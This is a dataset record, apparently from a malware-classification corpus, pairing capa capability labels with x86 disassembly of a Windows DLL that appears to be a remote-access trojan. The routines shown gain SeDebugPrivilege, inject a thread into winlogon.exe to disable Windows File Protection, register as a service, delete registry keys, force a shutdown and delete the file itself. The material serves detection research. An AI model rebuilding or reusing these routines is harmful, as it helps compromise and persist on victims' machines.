joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100125f0
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push ebx
push esi
push edi
push dword [ebp + 8]
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 8], eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 8], 0xb7
je 0x10012633
cmp dword [ebp - 8], 5
jne 0x10012637
mov al, 1
jmp 0x10012639
xor al, al
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10012c24
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
push esi
push edi
push str.PCRatStact
push 0x10026ea0
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
and byte [0x10026eab], 0
mov eax, dword [ebp + 8]
mov dword [0x10026d44], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x10026d34], eax
call fcn.1000af30
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 1
je 0x10012c6b
jmp 0x10012c8c
push 0
push 0
push 0x10026ea0
push 0x1001263e
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x10012d4b
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push ebx
push esi
push edi
push 0x100215b8
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0x10026eac
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0x10026eec
call fcn.100125f0
pop ecx
movzx eax, al
test eax, eax
je 0x10012d7e
jmp 0x10012de6
mov byte [section.LangSect], 1
and dword [ebp - 0x1c], 0
jmp 0x10012d92
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 6
jge 0x10012dac
mov eax, dword [ebp - 0x1c]
imul eax, eax, 0x76
add eax, 0x1e3ea6
mov ecx, dword [ebp - 0x1c]
mov dword [ebp + ecx*4 - 0x18], eax
jmp 0x10012d8b
lea eax, [ebp - 0x18]
push eax
push 0
mov ecx, 0x10026d50
call fcn.10001140
lea ecx, [ebp - 0x24]
call fcn.1000b650
lea ecx, [ebp - 0x24]
call fcn.1000b880
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
and byte [section.LangSect], 0
lea ecx, [ebp - 0x24]
call fcn.1000b6b0
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10012deb
Capabilities:
Delete registry key
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14c
push ebx
push esi
push edi
push dword [ebp + 0x10]
call sub.MSVCRT.dll_strlen
pop ecx
test eax, eax
je 0x10012eeb
push dword [ebp + 0x10]
call sub.MSVCRT.dll_strlen
pop ecx
push 0x100215e0
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 4]
call fcn.100100a0
push dword [ebp + 0x10]
lea ecx, [ebp - 4]
call fcn.10010830
push dword [ebp + 0x10]
lea ecx, [ebp - 4]
call fcn.100105f0
push 0x100215d0
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0x104
push 0
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp + 0x10]
push str.SYSTEMCurrentControlSetServices_s
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
and dword [ebp - 0x10c], 0
jmp 0x10012eaa
mov eax, dword [ebp - 0x10c]
inc eax
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0x14
jge 0x10012ee3
lea eax, [ebp - 0x108]
push eax
push SysStringLen
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
jne 0x10012ed6
push 0x100215c4
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
jmp 0x10012ee3
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10012e9d
lea ecx, [ebp - 4]
call fcn.10010100
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10012ef0
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x254
push ebx
push esi
push edi
push 0x10021540
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea ecx, [ebp - 0x214]
call fcn.1000b650
push 0x104
push 0
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push 0
lea eax, [ebp - 0x20c]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
movzx eax, byte [0x10026eab]
cmp eax, 1
je 0x10012f65
movzx eax, byte [0x10026eab]
cmp eax, 2
je 0x10012f65
movzx eax, byte [0x10026eab]
test eax, eax
jne 0x10013066
push 0x104
mov eax, dword [ebp + 0xc]
push dword [eax]
push 0x10026d90
call dword [sym.imp.MSVCRT.dll_strncpy]
add esp, 0xc
push 0x104
mov eax, dword [ebp + 0xc]
push dword [eax]
push 0x10026d90
call dword [sym.imp.MSVCRT.dll_wcstombs]
add esp, 0xc
push 0x100130c9
push 0x10026d90
call dword [sym.imp.ADVAPI32.dll_RegisterServiceCtrlHandlerA]
mov dword [0x10026d84], eax
push 0
push 0
push 0
push 0x10026d90
push 0x1001263e
push 0
push 0
call fcn.10015b80
add esp, 0x1c
mov dword [ebp - 4], eax
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [0x10026e94], 3
je 0x10012fe3
cmp dword [0x10026e94], 1
jne 0x10012fc9
push str.ServiceMain2
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0x104
lea eax, [ebp - 0x108]
push eax
push dword [0x10026d44]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x108]
push eax
push str.rundll32.exe
push str._s__s_FirstRun
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea eax, [ebp - 0x20c]
push eax
lea ecx, [ebp - 0x214]
call fcn.1000ba80
cmp dword [0x10026d80], 0x120
jne 0x10013066
push 1
pop eax
test eax, eax
je 0x10013066
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10013052
lea ecx, [ebp - 0x214]
call fcn.1000b6b0
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10013230
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
mov dword [eax], 0x1002162c
push 0
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
call fcn.1000bd70
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10013370
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x70
push ebx
push esi
push edi
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], eax
push 0xc
push 0
lea ecx, [ebp - 0x10]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov byte [ebp - 0x10], 3
lea edx, [ebp - 0x30]
push edx
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
push 4
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp - 0xf]
push ecx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 4
lea edx, [ebp + 8]
push edx
lea eax, [ebp - 0xb]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 0xc
lea ecx, [ebp - 0x10]
push ecx
mov ecx, dword [ebp - 4]
call fcn.1000bdc0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x100138e0
Capabilities:
Find taskbar

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001e9f9
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x48
push ebx
push esi
push edi
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x10]
call fcn.1000bce0
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x10]
mov dword [ecx], 0x1002168c
mov edx, dword [ebp + 0xc]
and edx, 0xff
cmp edx, 1
jne 0x10013935
mov ecx, dword [ebp - 0x10]
call fcn.10013af0
jmp 0x10013984
mov eax, dword [ebp + 0xc]
and eax, 0xff
cmp eax, 2
jne 0x10013984
push 0
push str.Shell_TrayWnd
call dword [sym.imp.USER32.dll_FindWindowA]
mov ecx, dword [ebp - 0x10]
mov dword [ecx + 0x14], eax
push 0
push str.Progman
call dword [sym.imp.USER32.dll_FindWindowA]
mov edx, dword [ebp - 0x10]
mov dword [edx + 0x18], eax
mov eax, dword [ebp - 0x10]
mov dword [eax + 0x10], 0
mov byte [ebp - 0x14], 0x81
push 1
lea ecx, [ebp - 0x14]
push ecx
mov ecx, dword [ebp - 0x10]
call fcn.1000bdc0
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x10013bb0
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9c
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov dword [ebp - 8], 0
push 1
push str.SeDebugPrivilege
call fcn.10013f30
add esp, 8
lea ecx, [ebp - 0x58]
call fcn.10011060
mov dword [ebp - 0x5c], 0
jmp 0x10013bef
mov eax, dword [ebp - 0x5c]
add eax, 4
mov dword [ebp - 0x5c], eax
mov ecx, dword [ebp - 0x5c]
cmp ecx, dword [ebp + 0xc]
jae 0x10013c25
mov edx, dword [ebp + 8]
add edx, dword [ebp - 0x5c]
mov eax, dword [edx]
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 8], eax
push 0
mov ecx, dword [ebp - 8]
push ecx
call dword [ebp - 0x14]
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10013be6
push 0
push str.SeDebugPrivilege
call fcn.10013f30
add esp, 8
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 4]
call fcn.10013af0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x10013fd0
Capabilities:
Shutdown system

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
push ebx
push esi
push edi
push 1
push str.SeShutdownPrivilege
call fcn.10013f30
add esp, 8
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.USER32.dll_ExitWindowsEx]
push 0
push str.SeShutdownPrivilege
call fcn.10013f30
add esp, 8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x100140c0
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov dword [ebp - 8], 0x408
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalSize]
sub eax, 1
xor edx, edx
div dword [ebp - 8]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], 0
jmp 0x100140fd
mov edx, dword [ebp - 0x10]
add edx, 1
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0xc]
jae 0x10014137
mov ecx, dword [ebp - 0x10]
imul ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x10]
lea ecx, [eax + ecx + 1]
mov dword [ebp - 0x14], ecx
push 0x400
mov edx, dword [ebp - 0x14]
add edx, 4
push edx
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax + 0x404]
push ecx
call dword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x100140f4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10014310
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
push ebx
push esi
push edi
lea eax, [ebp - 4]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x10014334
xor al, al
jmp 0x100143a5
lea ecx, [ebp - 0xc]
push ecx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
jne 0x10014357
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x100143a5
mov dword [ebp - 0x1c], 1
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 8]
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], 2
push 0
push 0
push 0x10
lea edx, [ebp - 0x1c]
push edx
push 0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x10014399
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x100143a5
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10014760
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
push ebx
push esi
push edi
mov dword [ebp - 4], 0
lea eax, [ebp - 8]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x10014789
jmp 0x100147e7
lea ecx, [ebp - 0x10]
push ecx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
jne 0x100147a0
jmp 0x100147dd
mov dword [ebp - 0x20], 1
mov edx, dword [ebp - 0x10]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], 2
push 0
push 0
push 0x10
lea ecx, [ebp - 0x20]
push ecx
push 0
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x100147d6
jmp 0x100147dd
mov dword [ebp - 4], 1
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10014800
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x174
push ebx
push esi
push edi
mov dword [ebp - 4], 0
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
push ecx
call dword [sym.imp.MSVCRT.dll_isdigit]
add esp, 4
test eax, eax
je 0x1001483d
push 0
push 0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.MSVCRT.dll_strtoul]
add esp, 0xc
mov dword [ebp - 4], eax
jmp 0x10014844
mov dword [ebp - 4], 0xffffffff
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x1001485d
xor eax, eax
jmp 0x1001492b
mov dword [ebp - 0x130], 0x128
lea eax, [ebp - 0x130]
push eax
mov ecx, dword [ebp - 8]
push ecx
call sub.KERNEL32.dll_Process32First
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 0
je 0x10014911
mov edx, dword [ebp + 8]
push edx
call sub.MSVCRT.dll_strlen
add esp, 4
push eax
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.MSVCRT.dll__strlwr]
add esp, 4
push eax
lea ecx, [ebp - 0x10c]
push ecx
call dword [sym.imp.MSVCRT.dll__strlwr]
add esp, 4
push eax
call dword [sym.imp.MSVCRT.dll_strncmp]
add esp, 0xc
test eax, eax
je 0x100148ce
mov edx, dword [ebp - 0x128]
cmp edx, dword [ebp - 4]
jne 0x100148ec
mov eax, dword [ebp - 0x128]
mov dword [ebp - 4], eax
lea ecx, [ebp - 0x10c]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call sub.MSVCRT.dll_strcpy
add esp, 8
jmp 0x10014911
mov dword [ebp - 0x130], 0x128
lea eax, [ebp - 0x130]
push eax
mov ecx, dword [ebp - 8]
push ecx
call sub.KERNEL32.dll_Process32Next
mov dword [ebp - 0x134], eax
jmp 0x1001487d
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 4], 0xffffffff
jne 0x10014928
mov dword [ebp - 4], 0
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100149b0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
push ebx
push esi
push edi
mov dword [ebp - 8], 0
lea eax, [ebp - 8]
push eax
push 0
push 0
mov ecx, dword [ebp + 0xc]
push ecx
push 0
push 0
mov edx, dword [ebp + 8]
mov eax, dword [edx + 4]
push eax
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x100149e8
jmp 0x10014a3e
push 0xfa0
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0xc], eax
mov edx, dword [ebp - 0xc]
mov dword [ebp - 0x10], edx
cmp dword [ebp - 0x10], 0
je 0x10014a19
cmp dword [ebp - 0x10], 0x102
je 0x10014a17
cmp dword [ebp - 0x10], 0xffffffff
je 0x10014a17
jmp 0x10014a1b
jmp 0x10014a3c
jmp 0x10014a1d
jmp 0x10014a3a
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
jmp 0x10014a40
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x10014a40
jmp 0x10014a2c
jmp 0x10014a2c
jmp 0x10014a2c
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10014a50
Capabilities:
Bypass windows file protection
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x15c
push ebx
push esi
push edi
call fcn.10014760
test eax, eax
je 0x10014a67
jmp 0x10014a6e
xor eax, eax
jmp 0x10014b7b
push 0x1f0fff
push str.winlogon.exe
lea eax, [ebp - 0x10c]
push eax
call fcn.10014940
add esp, 0xc
test eax, eax
jne 0x10014a92
xor eax, eax
jmp 0x10014b7b
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x11c], eax
mov ecx, dword [ebp - 0x11c]
and ecx, 0xffff
and ecx, 0xffff
and ecx, 0xff
and ecx, 0xff
cmp ecx, 5
jne 0x10014b04
mov edx, dword [ebp - 0x11c]
and edx, 0xffff
and edx, 0xffff
shr edx, 8
and edx, 0xff
test edx, edx
jne 0x10014af3
push str.sfc.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x110], eax
jmp 0x10014b04
push str.sfc_os.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x110], eax
push 2
mov eax, dword [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0
jne 0x10014b33
mov ecx, dword [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
xor eax, eax
jmp 0x10014b7b
mov edx, dword [ebp - 0x110]
push edx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [ebp - 0x118]
push eax
lea ecx, [ebp - 0x10c]
push ecx
call fcn.100149b0
add esp, 8
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 0
jne 0x10014b69
xor eax, eax
jmp 0x10014b7b
mov edx, dword [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10014c40
Capabilities:
Delete registry key
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001ea19
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14c
push ebx
push esi
push edi
mov dword [ebp - 0x10], ecx
push 0x1002179c
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov ecx, dword [0x10026d88]
push ecx
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0xffffffffffffffff
mov edx, dword [0x10026d8c]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x10021784
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0x10021774
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea ecx, [ebp - 0x14]
call fcn.100100a0
mov dword [ebp - 4], 0
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x14]
call fcn.10010830
mov ecx, dword [ebp + 8]
push ecx
lea ecx, [ebp - 0x14]
call fcn.100105f0
push 0x100215d0
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0x104
push 0
lea edx, [ebp - 0x118]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov eax, dword [ebp + 8]
push eax
push str.SYSTEMCurrentControlSetServices_s
lea ecx, [ebp - 0x118]
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
lea edx, [ebp - 0x118]
push edx
push SysStringLen
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov ecx, dword [ebp - 0x10]
call fcn.10015830
mov ecx, dword [ebp - 0x10]
call fcn.10015780
mov ecx, dword [ebp - 0x10]
call fcn.100157e0
mov eax, dword [ebp + 0xc]
push eax
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call fcn.10010100
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x10014d80
Capabilities:
Delete registry key
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x444
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
push str.ActiveX
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov eax, dword [0x10026d88]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0xffffffffffffffff
mov ecx, dword [0x10026d8c]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x10021784
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0x400
push 0
lea edx, [ebp - 0x404]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x10026eac
push str.SoftwareMicrosoftActive_SetupInstalled_Components_
push str._s_s
lea eax, [ebp - 0x404]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
lea ecx, [ebp - 0x404]
push ecx
push SysStringLen
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov byte [0x10026eab], 0xff
mov ecx, dword [ebp - 4]
call fcn.10015780
mov ecx, dword [ebp - 4]
call fcn.10015830
mov ecx, dword [ebp - 4]
call fcn.100157e0
mov edx, dword [ebp + 8]
push edx
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10014e50
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14c
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
lea ecx, [ebp - 0x10c]
call fcn.10014ed0
lea eax, [ebp - 0x10c]
push eax
mov ecx, dword [ebp - 4]
call fcn.10014f10
and eax, 0xff
test eax, eax
je 0x10014e9d
lea ecx, [ebp - 0x10c]
push ecx
lea edx, [ebp + 8]
push edx
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
jne 0x10014e9d
mov al, 1
jmp 0x10014ec4
push 0x100217b8
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
sub esp, 0x108
mov ecx, 0x42
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp - 4]
call fcn.10015020
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x108

Function at 0x10015310
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x488
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
push 0x444
push 0
lea eax, [ebp - 0x448]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea ecx, [ebp + 8]
push ecx
lea edx, [ebp - 0x448]
push edx
call sub.MSVCRT.dll_strcpy
add esp, 8
lea eax, [ebp - 0x448]
push eax
mov ecx, dword [ebp - 4]
call fcn.10015140
and eax, 0xff
test eax, eax
je 0x1001537e
push 0x444
lea ecx, [ebp - 0x448]
push ecx
lea edx, [ebp + 8]
push edx
call sub.MSVCRT.dll_memcmp
add esp, 0xc
test eax, eax
jne 0x1001537e
jmp 0x100153a3
push 0x100217b8
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
sub esp, 0x444
mov ecx, 0x111
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp - 4]
call fcn.100153b0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x444

Function at 0x10015570
Capabilities:
Delete file
Get common file path
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x350
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
push 0x104
push 0
lea eax, [ebp - 0x310]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push 0
lea ecx, [ebp - 0x20c]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push 0
lea edx, [ebp - 0x108]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x310]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea ecx, [ebp - 0x310]
push ecx
push str._s___d.bak.tem
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
mov ecx, dword [ebp - 4]
call fcn.10015660
lea ecx, [ebp - 0x108]
push ecx
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.MSVCRT.dll_rename]
add esp, 8
push 4
push 0
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
mov ecx, dword [ebp - 4]
call fcn.10015830
mov ecx, dword [ebp - 4]
call fcn.10015780
mov ecx, dword [ebp - 4]
call fcn.100157e0
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret